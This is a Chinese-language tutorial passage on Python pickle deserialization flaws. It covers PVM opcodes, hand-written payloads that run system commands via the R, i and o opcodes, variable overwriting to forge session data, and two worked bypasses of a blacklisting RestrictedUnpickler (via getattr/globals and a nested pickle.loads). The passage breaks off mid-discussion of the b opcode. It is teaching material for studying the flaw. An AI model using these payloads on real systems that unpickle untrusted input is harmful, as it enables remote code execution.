前置知识
什么是Pickle?
pickle是Python中一个能够序列化和反序列化对象的模块。和其他语言类似,Python也提供了序列化和反序列化这一功能,其中一个实现模块就是pickle。在Python中,“Pickling” 是将 Python 对象及其所拥有的层次结构转化为一个二进制字节流的过程,也就是我们常说的序列化,而 “unpickling” 是相反的操作,会将字节流转化回一个对象层次结构。
当然在Python 中并不止pickle一个模块能够进行这一操作,更原始的序列化模块如marshal
,同样能够完成序列化的任务,不过两者的侧重点并不相同,marshal
存在主要是为了支持 Python 的.pyc
文件。现在开发时一般首选pickle。
pickle实际上可以看作一种独立的语言,通过对opcode
的编写可以进行Python代码执行、覆盖变量等操作。直接编写的opcode
灵活性比使用pickle序列化生成的代码更高,并且有的代码不能通过pickle序列化得到(pickle解析能力大于pickle生成能力)。
既然opcode能够执行Python代码,那自然就免不了安全问题。以下是Python在pickle文档中的警告。
Pickle模块使用示例
下面我们来看一个简单的例子
import pickle
class Person():
def __init__(self):
self.age=18
self.name="Pickle"
p=Person()
opcode=pickle.dumps(p)
print(opcode)
#结果如下
#b'\x80\x04\x957\x00\x00\x00\x00\x00\x00\x00\x8c\x08__main__\x94\x8c\x06Person\x94\x93\x94)\x81\x94}\x94(\x8c\x03age\x94K\x12\x8c\x04name\x94\x8c\x06Pickle\x94ub.'
P=pickle.loads(opcode)
print('The age is:'+str(P.age),'The name is:'+P.name)
#结果如下
#The age is:18 The name is:Pickle
这里我创建了一个Person类,其中有两个属性age和name。我首先使用了pickle.dumps()
函数将一个Person对象序列化成二进制字节流的形式。然后使用pickle.loads()
将一串二进制字节流反序列化为一个Person对象。
能够序列化的对象
在Python的官方文档中,对于能够被序列化的对象类型有详细的描述,如下
None
、True
和False
- 整数、浮点数、复数
str
、byte
、bytearray
- 只包含可打包对象的集合,包括 tuple、list、set 和 dict
- 定义在模块顶层的函数(使用
def
定义,lambda
函数则不可以) - 定义在模块顶层的内置函数
- 定义在模块顶层的类
- 某些类实例,这些类的
__dict__
属性值或__getstate__()
函数的返回值可以被打包(详情参阅 打包类实例 这一段)
对于不能序列化的类型,如lambda函数,使用pickle模块时则会抛出 PicklingError
异常。
pickle模块常见方法及接口
pickle.dump(obj, file, protocol=None, *, fix_imports=True)
将打包好的对象 obj 写入文件中,其中protocol为pickling的协议版本(下同)。
pickle.dumps(obj, protocol=None, *, fix_imports=True)
将 obj 打包以后的对象作为bytes
类型直接返回。
pickle.load(file, *, fix_imports=True, encoding="ASCII", errors="strict")
从文件中读取二进制字节流,将其反序列化为一个对象并返回。
pickle.loads(data, *, fix_imports=True, encoding="ASCII", errors="strict")
从data中读取二进制字节流,将其反序列化为一个对象并返回。
object.__reduce__()
__reduce__()
其实是object类中的一个魔术方法,我们可以通过重写类的 object.__reduce__()
函数,使之在被实例化时按照重写的方式进行。
Python要求该方法返回一个字符串或者元组。如果返回元组(callable, ([para1,para2...])[,...])
,那么每当该类的对象被反序列化时,该callable
就会被调用,参数为para1、para2...
Pickle反序列化漏洞
在上一节中,我们提到了Pickle中一个不安全的因素——反序列化未知的二进制字节流。原因是该字节流可能包含被精心构造的恶意代码,此时如果我们使用pickle.loads()
方法unpickling
,就会导致恶意代码的执行。
我们来看下面的例子
import pickle
import os
class Person():
def __init__(self):
self.age=18
self.name="Pickle"
def __reduce__(self):
command=r"whoami"
return (os.system,(command,))
p=Person()
opcode=pickle.dumps(p)
print(opcode)
P=pickle.loads(opcode)
print('The age is:'+str(P.age),'The name is:'+P.name)
我在Person类中加入了__reduce__
函数,该函数能够定义该类的二进制字节流被反序列化时进行的操作。返回值是一个(callable, ([para1,para2...])[,...])
类型的元组。当字节流被反序列化时,Python就会执行callable(para1,para2...)
函数。因此当上述的Person对象被unpickling
时,就会执行os.system(command)
,结果如下
上述的demo就是对Pickle反序列化漏洞一个直观的描述。不过该漏洞的利用方式远不止此,想要进一步深入该漏洞,我们就需要了解pickle的工作原理。
Pickle工作原理
我们上文提到了,其实pickle可以看作是一种独立的栈语言,它由一串串opcode(指令集)组成。该语言的解析是依靠Pickle Virtual Machine (PVM)进行的。
PVM由以下三部分组成
- 指令处理器:从流中读取
opcode
和参数,并对其进行解释处理。重复这个动作,直到遇到 . 这个结束符后停止。 最终留在栈顶的值将被作为反序列化对象返回。 - stack:由 Python 的
list
实现,被用来临时存储数据、参数以及对象。 - memo:由 Python 的
dict
实现,为 PVM 的整个生命周期提供存储。
当前用于 pickling 的协议共有 5 种。使用的协议版本越高,读取生成的 pickle 所需的 Python 版本就要越新。
- v0 版协议是原始的“人类可读”协议,并且向后兼容早期版本的 Python。
- v1 版协议是较早的二进制格式,它也与早期版本的 Python 兼容。
- v2 版协议是在 Python 2.3 中引入的。它为存储 new-style class 提供了更高效的机制。欲了解有关第 2 版协议带来的改进,请参阅 PEP 307。
- v3 版协议添加于 Python 3.0。它具有对
bytes
对象的显式支持,且无法被 Python 2.x 打开。这是目前默认使用的协议,也是在要求与其他 Python 3 版本兼容时的推荐协议。 - v4 版协议添加于 Python 3.4。它支持存储非常大的对象,能存储更多种类的对象,还包括一些针对数据格式的优化。有关第 4 版协议带来改进的信息,请参阅 PEP 3154。
pickle协议是向前兼容的,0号版本的字符串可以直接交给pickle.loads(),不用担心引发什么意外。下面我们以V0版本为例,介绍一下常见的opcode
常用opcode
在Python的pickle.py中,我们能够找到所有的opcode及其解释,常用的opcode如下,这里我们以V0版本为例
指令 | 描述 | 具体写法 | 栈上的变化 |
---|---|---|---|
c | 获取一个全局对象或import一个模块 | c[module]\n[instance]\n | 获得的对象入栈 |
o | 寻找栈中的上一个MARK,以之间的第一个数据(必须为函数)为callable,第二个到第n个数据为参数,执行该函数(或实例化一个对象) | o | 这个过程中涉及到的数据都出栈,函数的返回值(或生成的对象)入栈 |
i | 相当于c和o的组合,先获取一个全局函数,然后寻找栈中的上一个MARK,并组合之间的数据为元组,以该元组为参数执行全局函数(或实例化一个对象) | i[module]\n[callable]\n | 这个过程中涉及到的数据都出栈,函数返回值(或生成的对象)入栈 |
N | 实例化一个None | N | 获得的对象入栈 |
S | 实例化一个字符串对象 | S'xxx'\n(也可以使用双引号、\'等python字符串形式) | 获得的对象入栈 |
V | 实例化一个UNICODE字符串对象 | Vxxx\n | 获得的对象入栈 |
I | 实例化一个int对象 | Ixxx\n | 获得的对象入栈 |
F | 实例化一个float对象 | Fx.x\n | 获得的对象入栈 |
R | 选择栈上的第一个对象作为函数、第二个对象作为参数(第二个对象必须为元组),然后调用该函数 | R | 函数和参数出栈,函数的返回值入栈 |
. | 程序结束,栈顶的一个元素作为pickle.loads()的返回值 | . | 无 |
( | 向栈中压入一个MARK标记 | ( | MARK标记入栈 |
t | 寻找栈中的上一个MARK,并组合之间的数据为元组 | t | MARK标记以及被组合的数据出栈,获得的对象入栈 |
) | 向栈中直接压入一个空元组 | ) | 空元组入栈 |
l | 寻找栈中的上一个MARK,并组合之间的数据为列表 | l | MARK标记以及被组合的数据出栈,获得的对象入栈 |
] | 向栈中直接压入一个空列表 | ] | 空列表入栈 |
d | 寻找栈中的上一个MARK,并组合之间的数据为字典(数据必须有偶数个,即呈key-value对) | d | MARK标记以及被组合的数据出栈,获得的对象入栈 |
} | 向栈中直接压入一个空字典 | } | 空字典入栈 |
p | 将栈顶对象储存至memo_n | pn\n | 无 |
g | 将memo_n的对象压栈 | gn\n | 对象被压栈 |
0 | 丢弃栈顶对象 | 0 | 栈顶对象被丢弃 |
b | 使用栈中的第一个元素(储存多个属性名: 属性值的字典)对第二个元素(对象实例)进行属性设置 | b | 栈上第一个元素出栈 |
s | 将栈的第一个和第二个对象作为key-value对,添加或更新到栈的第三个对象(必须为列表或字典,列表以数字作为key)中 | s | 第一、二个元素出栈,第三个元素(列表或字典)添加新值或被更新 |
u | 寻找栈中的上一个MARK,组合之间的数据(数据必须有偶数个,即呈key-value对)并全部添加或更新到该MARK之前的一个元素(必须为字典)中 | u | MARK标记以及被组合的数据出栈,字典被更新 |
a | 将栈的第一个元素append到第二个元素(列表)中 | a | 栈顶元素出栈,第二个元素(列表)被更新 |
e | 寻找栈中的上一个MARK,组合之间的数据并extends到该MARK之前的一个元素(必须为列表)中 | e | MARK标记以及被组合的数据出栈,列表被更新 |
PVM工作流程
下面有两张动图,很直观地描述了PVM的工作流程
- PVM解析
str
的过程
- PVM解析
__reduce__()
的过程
这里我们举一个简单的例子,假如我们有如下操作码
opcode=b'''cos
system
(S'whoami'
tR.'''
cos
system #字节码为c,形式为c[moudle]\n[instance]\n,导入os.system。并将函数压入stack
(S'ls' #字节码为(,向stack中压入一个MARK。字节码为S,示例化一个字符串对象'whoami'并将其压入stack
tR. #字节码为t,寻找栈中MARK,并组合之间的数据为元组。然后通过字节码R执行os.system('whoami')
#字节码为.,程序结束,将栈顶元素os.system('ls')作为返回值
结果如下
import pickle
opcode=b'''cos
system
(S'whoami'
tR.'''
pickle.loads(opcode)
#xiaoh\34946
pickletools
我们可以使用pickletools模块,将opcode转化成方便我们阅读的形式,如下所示
import pickletools
opcode=b'''cos
system
(S'whoami'
tR.'''
pickletools.dis(opcode)
###
0: c GLOBAL 'os system'
11: ( MARK
12: S STRING 'whoami'
22: t TUPLE (MARK at 11)
23: R REDUCE
24: . STOP
highest protocol among opcodes = 0
漏洞利用方式
命令执行
在上文我们已经提到了,我们可以通过在类中重写__reduce__方法,从而在反序列化时执行任意命令,但是通过这种方法一次只能执行一个命令,如果想一次执行多个命令,就只能通过手写opcode的方式了。
在opcode中,.
是程序结束的标志。我们可以通过去掉.
来将两个字节流拼接起来
import pickle
opcode=b'''cos
system
(S'whoami'
tRcos
system
(S'whoami'
tR.'''
pickle.loads(opcode)
#结果如下
xiaoh\34946
xiaoh\34946
当然,在pickle中,和函数执行的字节码有三个:R
、i
、o
,所以我们可以从三个方向构造paylaod
R
opcode1=b'''cos
system
(S'whoami'
tR.'''
i
:相当于c和o的组合,先获取一个全局函数,然后寻找栈中的上一个MARK,并组合之间的数据为元组,以该元组为参数执行全局函数(或实例化一个对象)
opcode2=b'''(S'whoami'
ios
system
.'''
- o:寻找栈中的上一个MARK,以之间的第一个数据(必须为函数)为callable,第二个到第n个数据为参数,执行该函数(或实例化一个对象)
opcode3=b'''(cos
system
S'whoami'
o.'''
os.system()
,在部分Linux下则为posix.system()
。并且pickle.loads
会解决import 问题,对于未引入的module会自动尝试import。也就是说整个python标准库的代码执行、命令执行函数我们都可以使用。
实例化对象
实例化对象也是一种特殊的函数执行,我们同样可以通过手写opcode来构造
import pickle
class Person:
def __init__(self,age,name):
self.age=age
self.name=name
opcode=b'''c__main__
Person
(I18
S'Pickle'
tR.'''
p=pickle.loads(opcode)
print(p)
print(p.age,p.name)
###
<__main__.Person object at 0x00000223B2E14CD0>
18 Pickle
以上opcode相当于手动执行了构造函数Person(18,'Pickle')
。
变量覆盖
在session或token中,由于需要存储一些用户信息,所以我们常常能够看见pickle的身影。程序会将用户的各种信息序列化并存储在session或token中,以此来验证用户的身份。
假如session或token是以明文的方式进行存储的,我们就有可能通过变量覆盖的方式进行身份伪造。
#secret.py
secret="This is a key"
import pickle
import secret
print("secret变量的值为:"+secret.secret)
opcode=b'''c__main__
secret
(S'secret'
S'Hack!!!'
db.'''
fake=pickle.loads(opcode)
print("secret变量的值为:"+fake.secret)
###
secret变量的值为:This is a key
secret变量的值为:Hack!!!
我们首先通过c
来获取__main__.secret
模块,然后将字符串secret
和Hack!!!
压入栈中,然后通过字节码d
将两个字符串组合成字典{'secret':'Hack!!!'}
的形式。由于在pickle中,反序列化后的数据会以key-value的形式存储,所以secret模块中的变量secret="This is a key"
,是以{'secret':'This is a key'}
形式存储的。最后再通过字节码b来执行__dict__.update()
,即{'secret':'This is a key'}.update({'secret':'Hack!!!'})
,因此最终secret变量的值被覆盖成了Hack!!!
。
Pker工具的使用
Pker是什么
pker是由@eddieivan01编写的以遍历Python AST的形式来自动化解析pickle opcode的工具。
Pker可以做到什么
- 变量赋值:存到memo中,保存memo下标和变量名即可
- 函数调用
- 类型字面量构造
- list和dict成员修改
- 对象成员变量修改
使用方法与实例
pker最主要的有三个函数GLOBAL()
、INST()
和OBJ()
GLOBAL('os', 'system') => cos\nsystem\n
INST('os', 'system', 'ls') => (S'ls'\nios\nsystem\n
OBJ(GLOBAL('os', 'system'), 'ls') => (cos\nsystem\nS'ls'\no
return可以返回一个对象
return => .
return var => g_\n.
return 1 => I1\n.
当然你也可以和Python的正常语法结合起来,下面是使用示例
#pker_test.py
i = 0
s = 'id'
lst = [i]
tpl = (0,)
dct = {tpl: 0}
system = GLOBAL('os', 'system')
system(s)
return
#命令行下
$ python3 pker.py < pker_tests.py
b"I0\np0\n0S'id'\np1\n0(g0\nlp2\n0(I0\ntp3\n0(g3\nI0\ndp4\n0cos\nsystem\np5\n0g5\n(g1\ntR."
自动解析并生成了我们所需的opcode。
更多的使用方法可以参考官方repo
官方修复建议
对于pickle反序列化漏洞,官方的第一个建议就是永远不要unpickle来自于不受信任的或者未经验证的来源的数据。第二个就是通过重写Unpickler.find_class()
来限制全局变量,我们来看官方的例子
import builtins
import io
import pickle
safe_builtins = {
'range',
'complex',
'set',
'frozenset',
'slice',
}
class RestrictedUnpickler(pickle.Unpickler):
#重写了find_class方法
def find_class(self, module, name):
# Only allow safe classes from builtins.
if module == "builtins" and name in safe_builtins:
return getattr(builtins, name)
# Forbid everything else.
raise pickle.UnpicklingError("global '%s.%s' is forbidden" %
(module, name))
def restricted_loads(s):
"""Helper function analogous to pickle.loads()."""
return RestrictedUnpickler(io.BytesIO(s)).load()
opcode=b"cos\nsystem\n(S'echo hello world'\ntR."
restricted_loads(opcode)
###结果如下
Traceback (most recent call last):
...
_pickle.UnpicklingError: global 'os.system' is forbidden
以上例子通过重写Unpickler.find_class()
方法,限制调用模块只能为builtins
,且函数必须在白名单内,否则抛出异常。这种方式限制了调用的模块函数都在白名单之内,这就保证了Python在unpickle
时的安全性。
不过,假如
中对于模块和函数的限制不是那么严格的话,我们仍然有可能绕过其限制。Unpickler.find_class()
绕过RestrictedUnpickler限制
想要绕过find_class
,我们则需要了解其何时被调用。在官方文档中描述如下
出于这样的理由,你可能会希望通过定制Unpickler.find_class()
来控制要解封的对象。 与其名称所提示的不同,Unpickler.find_class()
会在执行对任何全局对象(例如一个类或一个函数)的请求时被调用。 因此可以完全禁止全局对象或是将它们限制在一个安全的子集中。
在opcode中,c
、i
、\x93
这三个字节码与全局对象有关,当出现这三个字节码时会调用find_class
,当我们使用这三个字节码时不违反其限制即可。
绕过builtins
在一些例子中,我们常常会见到module=="builtins"
这一限制,比如官方文档中的例子,只允许我们导入builtins
这一模块
if module == "builtins" and name in safe_builtins:
return getattr(builtins, name)
那么什么是builtins
模块呢?
当我们启动Python之后,即使没有创建任何的变量或者函数,还是会有许多函数可以使用,如
>>>int(1)
1
上述这类函数被我们称为”内置函数”,这其实就是builtins模块的功劳,这些内置函数都是包含在builtins模块内的。而Python解释器在启动时已经自动帮我们导入了builtins模块,所以我们自然就可以使用这些内置函数了。
我们可以通过for i in sys.modules['builtins'].__dict__:print(i)
来查看该模块中包含的所有模块函数等,大致如下
假如内置函数中一些执行命令的函数也被禁用了,而我们仍想命令执行,那么漏洞的利用思路就类似于Python中的沙箱逃逸。
我们来看下面一个例子,这是code-breaking 2018 picklecode中的一个例子
import pickle
import io
import builtins
class RestrictedUnpickler(pickle.Unpickler):
blacklist = {'eval', 'exec', 'execfile', 'compile', 'open', 'input', '__import__', 'exit'}
def find_class(self, module, name):
# Only allow safe classes from builtins.
if module == "builtins" and name not in self.blacklist:
return getattr(builtins, name)
# Forbid everything else.
raise pickle.UnpicklingError("global '%s.%s' is forbidden" %
(module, name))
def restricted_loads(s):
"""Helper function analogous to pickle.loads()."""
return RestrictedUnpickler(io.BytesIO(s)).load()
代码使用了Unpickler.find_class()
限制了使用的模块只能为builtins
,并且禁用了内置的危险函数,这时我们应该怎么利用呢?
思路一
我们可以借鉴Python沙箱逃逸的思路,获取我们想要的函数。代码没有禁用getattr()
函数,getattr
可以获取对象的属性值。因此我们可以通过builtins.getattr(builtins,'eval')
的形式来获取eval函数
接下来我们得构造出一个builtins
模块来传给getattr
的第一个参数,我们可以使用builtins.globals()
函数获取builtins模块包含的内容
import builtins
print(builtins.globals())
可见builtins模块中仍包含builtins模块。由于返回的结果是个字典,所以我们还需要获取get()函数
最终构造的payload为builtins.getattr(builtins.getattr(builtins.dict,'get')(builtins.golbals(),'builtins'),'eval')(command)
思路有了,下面就是手写opcode了。首先获取get函数
import pickle
import pickletools
opcode=b'''cbuiltins
getattr
(cbuiltins
dict
S'get'
tR.
'''
pickletools.dis(opcode)
print(pickle.loads(opcode))
###结果如下
0: c GLOBAL 'builtins getattr'
18: ( MARK
19: c GLOBAL 'builtins dict'
34: S STRING 'get'
41: t TUPLE (MARK at 18)
42: R REDUCE
43: . STOP
highest protocol among opcodes = 0
<method 'get' of 'dict' objects>
然后获取globals()字典
import pickle
import pickletools
opcode2=b'''cbuiltins
globals
)R.
'''
pickletools.dis(opcode2)
print(pickle.loads(opcode2))
###结果如下
0: c GLOBAL 'builtins globals'
18: ) EMPTY_TUPLE
19: R REDUCE
20: . STOP
highest protocol among opcodes = 1
{'__name__': '__main__', '__doc__': None, '__package__': None, '__loader__': <_frozen_importlib_external.SourceFileLoader object at 0x000001EF06A308B0>, '__spec__': None, '__annotations__': {}, '__builtins__': <module 'builtins' (built-in)>, '__file__': 'C:/Users/34946/Desktop/安全学习/Pickle_Learning/Pickle_builtins1.py', '__cached__': None, 'pickle': <module 'pickle' from 'C:\\Users\\34946\\AppData\\Local\\Programs\\Python\\Python38\\lib\\pickle.py'>, 'pickletools': <module 'pickletools' from 'C:\\Users\\34946\\AppData\\Local\\Programs\\Python\\Python38\\lib\\pickletools.py'>, 'opcode1': b"cbuiltins\ngetattr\n(cbuiltins\ndict\nS'get'\ntR.\n", 'opcode2': b'cbuiltins\nglobals\n)R.\n'}
现在我们有了get(),有了globals()字典,把他们组合起来我们就能够获取builtins模块了
import pickle
import pickletools
opcode3=b'''cbuiltins
getattr
(cbuiltins
dict
S'get'
tR(cbuiltins
globals
)RS'__builtins__'
tR.'''
#以上opcode相当于执行了builtins.getattr(builtins.dict,'get')(builtins.globals(),'builtins')
pickletools.dis(opcode3)
print(pickle.loads(opcode3))
###结果如下
0: c GLOBAL 'builtins getattr'
18: ( MARK
19: c GLOBAL 'builtins dict'
34: S STRING 'get'
41: t TUPLE (MARK at 18)
42: R REDUCE
43: ( MARK
44: c GLOBAL 'builtins globals'
62: ( MARK
63: t TUPLE (MARK at 62)
64: R REDUCE
65: S STRING 'builtins'
77: t TUPLE (MARK at 43)
78: R REDUCE
79: . STOP
highest protocol among opcodes = 0
<module 'builtins' (built-in)>
最后我们再调用获取到的builtins的eval函数即可
import pickle
opcode4=b'''cbuiltins
getattr
(cbuiltins
getattr
(cbuiltins
dict
S'get'
tR(cbuiltins
globals
)RS'__builtins__'
tRS'eval'
tR.'''
print(pickle.loads(opcode4))
###
<built-in function eval>
最后命令执行的结果如下
import pickle
import io
class RestrictedUnpickler(pickle.Unpickler):
blacklist = {'eval', 'exec', 'execfile', 'compile', 'open', 'input', '__import__', 'exit'}
def find_class(self, module, name):
# Only allow safe classes from builtins.
if module == "builtins" and name not in self.blacklist:
return getattr(builtins, name)
# Forbid everything else.
raise pickle.UnpicklingError("global '%s.%s' is forbidden" %
(module, name))
def restricted_loads(s):
"""Helper function analogous to pickle.loads()."""
return RestrictedUnpickler(io.BytesIO(s)).load()
opcode=b'''cbuiltins
getattr
(cbuiltins
getattr
(cbuiltins
dict
S'get'
tR(cbuiltins
globals
)RS'__builtins__'
tRS'eval'
tR(S'__import__("os").system("whoami")'
tR.
'''
restricted_loads(opcode)
###
xiaoh\34946
当然,以上payload只是一种方法,Python沙箱逃逸的方法还有很多,但思想都大同小异。当我们在在绕过find_class
时,我们最好先构造出沙箱逃逸的payload,然后再根据payload构造opcode即可。
当然,如果不想手写opcode的话,也可以使用pker工具来辅助生成opcode
#payload.py
#获取getattr函数
getattr = GLOBAL('builtins', 'getattr')
#获取字典的get方法
get = getattr(GLOBAL('builtins', 'dict'), 'get')
#获取globals方法
golbals=GLOBAL('builtins', 'globals')
#获取字典
builtins_dict=golbals()
#获取builtins模块
__builtins__ = get(builtins_dict, '__builtins__')
#获取eval函数
eval=getattr(__builtins__,'eval')
eval("__import__('os').system('whoami')")
return
C:\Users\34946\Desktop\安全学习\Pickle_Learning>python3 pker.py < pker_test.py
b"cbuiltins\ngetattr\np0\n0g0\n(cbuiltins\ndict\nS'get'\ntRp1\n0cbuiltins\nglobals\np2\n0g2\n(tRp3\n0g1\n(g3\nS'__builtins__'\ntRp4\n0g0\n(g4\nS'eval'\ntRp5\n0g5\n(S'__import__(\\'os\\').system(\\'whoami\\')'\ntR."
思路二
在思路一中,我们通过getattr(builtins,'eval')
来获取到了内置函数eval()
,getattr的第一个参数——builtins模块,是通过获取globals()
中的全局变量得到的。也就是说,globals()
函数中含有Python中提前设置好的全局变量,包括我们import的各种模块,那么我们是否可以通过globals(
)函数来获取pickle模块呢?我们实验一下便知
import pickle
import secret
import builtins
print(builtins.globals())
###
{..., 'pickle': <module 'pickle' from 'C:\\...\\Python\\Python38\\lib\\pickle.py'>, 'secret': <module 'secret' from 'C:\\...\\Pickle_Learning\\secret.py'>, 'builtins': <module 'builtins' (built-in)>}
可以看到,globals()
函数中的全局变量,确实包含我们导入的官方或自定义的模块,那么我们就可以尝试导入使用pickle.loads()
来绕过find_class()
了。
不过值得注意的是,由于pickle.loads()
的参数需要为byte
类型。而在Protocol 0
中,对于byte类型并没有很好的支持,需要额外导入encode()函数,可能会导致无法绕过find_class
限制。
import pickle
import pickletools
b=b'abcdef'
opcode=pickle.dumps(b,protocol=0)
pickletools.dis(opcode)
###
0: c GLOBAL '_codecs encode'
16: p PUT 0
19: ( MARK
20: V UNICODE 'abcdef'
28: p PUT 1
31: V UNICODE 'latin1'
39: p PUT 2
42: t TUPLE (MARK at 19)
43: p PUT 3
46: R REDUCE
47: p PUT 4
50: . STOP
highest protocol among opcodes = 0
直到Protocol 3
版本,Python才引入了B
和C
两个字节码来标识byte类型
# Protocol 3 (Python 3.x)
BINBYTES = b'B' # push bytes; counted binary string argument
SHORT_BINBYTES = b'C' # " " ; " " " " < 256 bytes
import pickle
import pickletools
b=b'abcdef'
opcode=pickle.dumps(b,protocol=0)
pickletools.dis(opcode)
###
0: \x80 PROTO 3
2: C SHORT_BINBYTES b'abcdef'
10: q BINPUT 0
12: . STOP
highest protocol among opcodes = 3
可以看到此时pickle对于byte
类型变量的支持精简了很多。所以当我们想利用pickle.loads()
来绕过find_class时,最好选择Protocol 3
版本的opcode构造。
下面我们就来一步步构造Protocol 3
版本的Payload
首先获取get函数
import pickle
import builtins
import pickletools
class Op:
def __reduce__(self):
return (getattr,(builtins.dict,'get',))
op=Op()
opcode=pickle.dumps(op,protocol=3)
print(opcode)
pickletools.dis(opcode)
###
b'\x80\x03cbuiltins\ngetattr\nq\x00cbuiltins\ndict\nq\x01X\x03\x00\x00\x00getq\x02\x86q\x03Rq\x04.'
0: \x80 PROTO 3
2: c GLOBAL 'builtins getattr'
20: q BINPUT 0
22: c GLOBAL 'builtins dict'
37: q BINPUT 1
39: X BINUNICODE 'get'
47: q BINPUT 2
49: \x86 TUPLE2
50: q BINPUT 3
52: R REDUCE
53: q BINPUT 4
55: . STOP
highest protocol among opcodes = 2
其中有很多q\0xn
字节码,实际测试去掉也是可以的
BINPUT = b'q' # " " " " " ; " " 1-byte arg
构造思路和Protocol 0
类似,我们构造出pickle.loads()函数
import pickle
opcode=b"\x80\x03cbuiltins\ngetattr\n(cbuiltins\ngetattr\ncbuiltins\ndict\nX\x03\x00\x00\x00get\x86R(cbuiltins\nglobals\n)RS'pickle'\ntRS'loads'\ntR."
print(pickle.loads(opcode))
###
<built-in function loads>
接着我们生成要执行的Payload
import pickle
import os
class Command:
def __reduce__(self):
command="whoami"
return (os.system,(command,))
op=Command()
opcode=pickle.dumps(op,protocol=0)
print(opcode)
###
b'cnt\nsystem\np0\n(Vwhoami\np1\ntp2\nRp3\n.'
由于loads()函数接受的是byte类型参数,为了方便构造,我们先手动看一下pickle.loads(payload)
的字节码,方便我们后续构造
import pickle
import pickletools
class bin:
def __reduce__(self):
return (pickle.loads,(b'''cos\nsystem\n(S'whoami'\ntR.''',))
b=bin()
# b=b'abcdef'
opcode=pickle.dumps(b,protocol=3)
print(opcode)
pickletools.dis(opcode)
###
b"\x80\x03c_pickle\nloads\nq\x00C\x19cos\nsystem\n(S'whoami'\ntR.q\x01\x85q\x02Rq\x03."
0: \x80 PROTO 3
2: c GLOBAL '_pickle loads'
17: q BINPUT 0
19: C SHORT_BINBYTES b"cos\nsystem\n(S'whoami'\ntR."
46: q BINPUT 1
48: \x85 TUPLE1
49: q BINPUT 2
51: R REDUCE
52: q BINPUT 3
54: . STOP
highest protocol among opcodes = 3
这里使用了字节码C
代表byte类型,然后后面跟上数据长度的十六进制即可,我们将加粗部分C\x19cos\nsystem\n(S'whoami'\ntR.
和上文构造好的pickle.loads()
函数合并即可,完整payload如下。
opcode=b"\x80\x03cbuiltins\ngetattr\n(cbuiltins\ngetattr\ncbuiltins\ndict\nX\x03\x00\x00\x00get\x86R(cbuiltins\nglobals\n)RS'pickle'\ntRS'loads'\ntRC\x19cos\nsystem\n(S'whoami'\ntR.\x85R."
测试绕过
import pickle
import io
import builtins
class RestrictedUnpickler(pickle.Unpickler):
blacklist = {'eval', 'exec', 'execfile', 'compile', 'open', 'input', '__import__', 'exit'}
def find_class(self, module, name):
# Only allow safe classes from builtins.
if module == "builtins" and name not in self.blacklist:
return getattr(builtins, name)
# Forbid everything else.
raise pickle.UnpicklingError("global '%s.%s' is forbidden" %
(module, name))
def restricted_loads(s):
"""Helper function analogous to pickle.loads()."""
return RestrictedUnpickler(io.BytesIO(s)).load()
opcode2=opcode=b"\x80\x03cbuiltins\ngetattr\n(cbuiltins\ngetattr\ncbuiltins\ndict\nX\x03\x00\x00\x00get\x86R(cbuiltins\nglobals\n)RS'pickle'\ntRS'loads'\ntRC\x19cos\nsystem\n(S'whoami'\ntR.\x85R."
restricted_loads(opcode2)
###
xiaoh\34946
思路二虽然相比思路一稍许麻烦,但是我们通过构造pickle.loads()来unpickle
任意opcode。虽然find_class会对字节码c
导入模块的时候进行检查,但我们构造pickle.loads()时并没有违反find_class的规则。并且当调用我们构造的字节码形式的pickle.loads(payloads)时,并不会触发find_class。所以只要我们能够构造出pickle.loads()
,理论上我们是可以执行任意字节码的。
绕过R指令
以上方法虽然能够绕过对module
和一些危险函数的限制,但本质上仍然是对__reduce__
函数的延伸。倘若将字节码R
也禁用了,那我们怎么进行RCE呢?
如果你还记得我上文所说的pickle漏洞命令执行的几种方法的话,你肯定能立即想到和函数执行有关的字节码R
、i
、o
。实际上,如果没有R
指令,我们同样能够进行函数执行。有下面这样一个例子
import pickle
import stao
class Animal:
def __init__(self, name, category):
self.name = name
self.category = category
def __eq__(self, other):
return type(other) is Animal and self.name == other.name and self.category == other.category
def check(data):
if b'R' in data:
return 'no reduce!'
x=pickle.loads(data)
if(x!= Animal(stao.name,stao.age)):
print('not equal')
return
print('well done! {} {}'.format(stao.name,stao.age))
#stao.py
name="stao"
age=18
这里禁用了R指令,但是我们仍有方法初始化一个Animal对象。我在上文提到过,使用R指令实例化对象的过程,实际上就是调用构造函数的过程,本质上也是函数执行,所以我们同样能够使用其他指令绕过。
i指令
相当于c和o的组合,先获取一个全局函数,然后寻找栈中的上一个MARK,并组合之间的数据为元组,以该元组为参数执行全局函数(或实例化一个对象)
opcode=b'''(S'stao'
I18
i__main__
Animal
.'''
o指令
寻找栈中的上一个MARK,以之间的第一个数据(必须为函数)为callable,第二个到第n个数据为参数,执行该函数(或实例化一个对象)
opcode=b'''(c__main__
Animal
S'stao'
I18
o.'''
假如这里我们不知道stao
模块的内容,我们可以通过变量覆盖的方式将原有stao中的变量覆盖掉。
opcode=b'''c__main__
stao
(S'name'
S'Hacker'
S'age'
I18
db(c__main__
Animal
S'Hacker'
I18
o.'''
b指令
其实我们在上文已经使用过了b
指令,当时他的作用是用来更新栈上的一个字典进行变量覆盖。实际上官方对它的解释是BUILD
,当PVM解析到b
指令时执行__setstate__
或者__dict__.update()
。
BUILD = b'b' # call __setstate__ or __dict__.update()
那什么是__setstate__
呢?官方文档中,如果想要存储对象的状态,就可以使用__getstat__
和__setstat__
方法。由于pickle同样可以存储对象属性的状态,所以这两个魔术方法主要是针对那些不可被序列化的状态,如一个被打开的文件句柄open(file,'r')
。
我们来看下面的例子
import pickle
class Person:
def __init__(self, name, age=0):
self.name = name
self.age = age
def __str__(self):
return f"name: {self.name}\nage: {self.age}"
class Child(Person):
def __setstate__(self, state):
print("invoke __setstate__")
self.name=state
self.age=10
def __getstate__(self):
print("invoke __getstate__")
return "Child"
c1=Child("TEST")
print(c1)
#name: TEST
#age: 0
opcode=pickle.dumps(c1,protocol=0)
print(opcode)
#invoke __getstate__
#b'ccopy_reg\n_reconstructor\np0\n(c__main__\nChild\np1\nc__builtin__\nobject\np2\nNtp3\nRp4\nVChild\np5\nb.'
c2=pickle.loads(opcode)
print(c2)
#invoke __setstate__
#name: Child
#age: 10
当对象被序列化时调用__getstate__
,被反序列化时调用__setstate__
。重写时可以省略__setstate__
,但__getstate__
必须返回一个字典。如果__getstate__
与__setstate__
都被省略, 那么就默认自动保存和加载对象的属性字典__dict__
。
在pickle源码中,字节码b
对应的是load_build()
函数
def load_build(self):
stack = self.stack
state = stack.pop()
#首先获取栈上的字节码b前的一个元素,对于对象来说,该元素一般是存储有对象属性的dict
inst = stack[-1]
#获取该字典中键名为"__setstate__"的value
